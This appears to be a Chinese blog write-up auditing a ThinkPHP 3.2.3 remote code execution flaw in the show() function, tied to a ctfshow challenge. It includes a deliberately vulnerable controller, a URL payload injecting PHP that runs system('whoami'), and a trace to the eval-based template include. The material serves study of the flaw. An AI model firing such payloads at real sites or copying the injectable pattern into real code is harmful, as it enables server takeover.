MENU

TP3.2-RCE

March 4, 2022 • Read: 476 • Code auditing

前言

真的是基础不踏实,之前打tp都是网上payload一把梭
所以现在还得回头重新审
这次就不找环境了,自己来搭一下
源码下载:thinkphp_3.2.3源码.zip

show函数命令执⾏

环境搭建

修改 /Application/Home/Controller/IndexController.class.php :

<?php
namespace Home\Controller;
use Think\Controller;
class IndexController extends Controller {
public function index($n=''){
    $this->show('<style type="text/css">*{ padding: 0; margin: 0; } div{ padding: 4px 48px;} 
body{ background: #fff; font-family: "微软雅⿊"; color: #333;font-size:24px} h1{ font-size: 100px; 
font-weight: normal; margin-bottom: 12px; } p{ line-height: 1.8em; font-size: 36px } 
a,a:hover{color:blue;}</style><div style="padding: 14px 28px;"> <h2>Thinkphp3.2.3 show函数命令执⾏
</h2><p>注⼊点:'.$n.'</p>','utf-8');
 }
}

Payload

/index.php/home/index/index?n=<?php system("whoami");?>

调试分析

9@K2VFJFGOAM_0(JC$467RQ.png
然后来调试分析
OJ0I95VTP1AGTZ0WH.png

G758G4EFSQ2W1L4.png

通过观察 $content 的值的变化来确定漏洞点,因为要返回到⻚⾯上
CULI3J1GN1M6RCUZDBY.png

通过调试找到漏洞点,并缩⼩范围,可以发现漏洞点在 fetch 中,跟进 fetch
G{2MXK9@WMFA(M[$CM)1ASM.png

关键代码在这

empty($_content)?include $templateFile:eval('?>'.$_content);
 }else{
// 视图解析标签
$params =
array('var'=>$this->tVar,'file'=>$templateFile,'content'=>$content,'prefix'=>$prefix);
Hook::listen('view_parse',$params);
 }
// 获取并清空缓存

跟进exec
6FQUOVZZB1WCD9B.png

跟进run
197SV03Q893KARC5X.png

进⼊ load ⽅法
GXB5R1GYMBHEEL4LP.png

这个 $_filename 其实就是缓存⽂件,缓存⽂件的内⽤就是⻚⾯的php代码,从⽽进⾏了⽂件包含。

结语

这其实就是ctfshow的一题,但是没环境,需要自己搭一下
这次调试就到这个地方啦

Last Modified: March 7, 2022
Archives Tip
QR Code for this page
Tipping QR Code